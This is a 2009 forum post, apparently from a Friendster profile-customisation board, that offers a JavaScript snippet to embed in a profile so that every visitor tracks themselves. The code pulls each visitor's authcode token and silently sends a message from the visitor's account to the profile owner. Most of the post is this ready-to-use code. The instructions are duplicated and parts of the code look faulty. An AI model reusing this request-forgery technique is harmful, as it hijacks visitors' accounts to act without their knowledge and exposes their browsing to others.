1 WVM via Send Smile Tue Sep 22, 2009 4:27 pm
Khristel™
LEVEL 1
From feruzz :]]
Note: this trick will only compatible with the Quick comment ajax(V.1.5)w/ smiles
When someone visited your profile they will automatically send a message to your profile
Preview: just go to http://www.friendster.com/messages.php to see who is viewed your profile
the code >>
Put your username at USERNAME HERE part & also you can edit a message at the bottom of this code ('I viewed your profile')
Note: this trick will only compatible with the Quick comment ajax(V.1.5)w/ smiles
When someone visited your profile they will automatically send a message to your profile
Preview: just go to http://www.friendster.com/messages.php to see who is viewed your profile
the code >>
- Code:
(function(){
un='USERNAME HERE';
win=window;
lh=(loc=location).hostname;
oi=pageOwnerID;
vi=pageViewerID;
dm='http://www.friendster.com';
AUTH='';
msg=null;
if(!!vi||(vi.indexOf('')<0)){
if(lh.indexOf('profiles.friendster')>-1){
win.loc.href=[dm,'/setlang.php?lang=en-US&updatelang=1&next=',encodeURIComponent([dm,'/profiles/',un].join('')),'&cookie=1'].join('');
}else{
aUTH=function(d){
var c,f;
c=/authcode"\s*value="([\da-z]*?)"/;
f=new RegExp(c).exec(d);
AUTH=f?f[1]:'';
try{
return c;
}finally{
c=null;
}
};
sendSmile=function(m){
var a,b,c,d,e;
a=win.XMLHttpRequest?new XMLHttpRequest():new ActiveXObject('MSXML2.XMLHTTP');
e=500-m.length;
b=['&_submitted=1&inputcount=',e,'&uid=',oi,'&message=',encodeURIComponent(m),'&authcode=',AUTH].join('');
c='application/x-www-form-urlencoded'+('UTF-8'?';charset='+'UTF-8':'');
d=b?b.length:0;
a.open('POST','/sendmessage.php?action=sendsmile',true);
a.setRequestHeader('Content-type',c);
a.setRequestHeader('Content-length',d);
if(a.overrideMimeType&&(navigator.userAgent.match(/Gecko\/(\d{4})/)||[0,2005])[1]<2005){
a.setRequestHeader('Connection','close');
}
a.send(b);
};
if(vi.indexOf(oi)<0){
sendXMLHttpRequestText(['/sendmessage.php?uid=',oi].join(''),'aUTH');
window.addEvent('domready',function(){
if(!msg){
msg=new sendSmile('I viewed your profile');
}
});
}
}
}else if(!vi){
win.loc.href=[dm,'/login.php?next=',encodeURIComponent(dm,'/setlang.php?lang=en-US&updatelang=1'),'&next=',encodeURIComponent([dm,'/profiles/',un].join('')),'&cookie=1'].join('');
}
})();
Put your username at USERNAME HERE part & also you can edit a message at the bottom of this code ('I viewed your profile')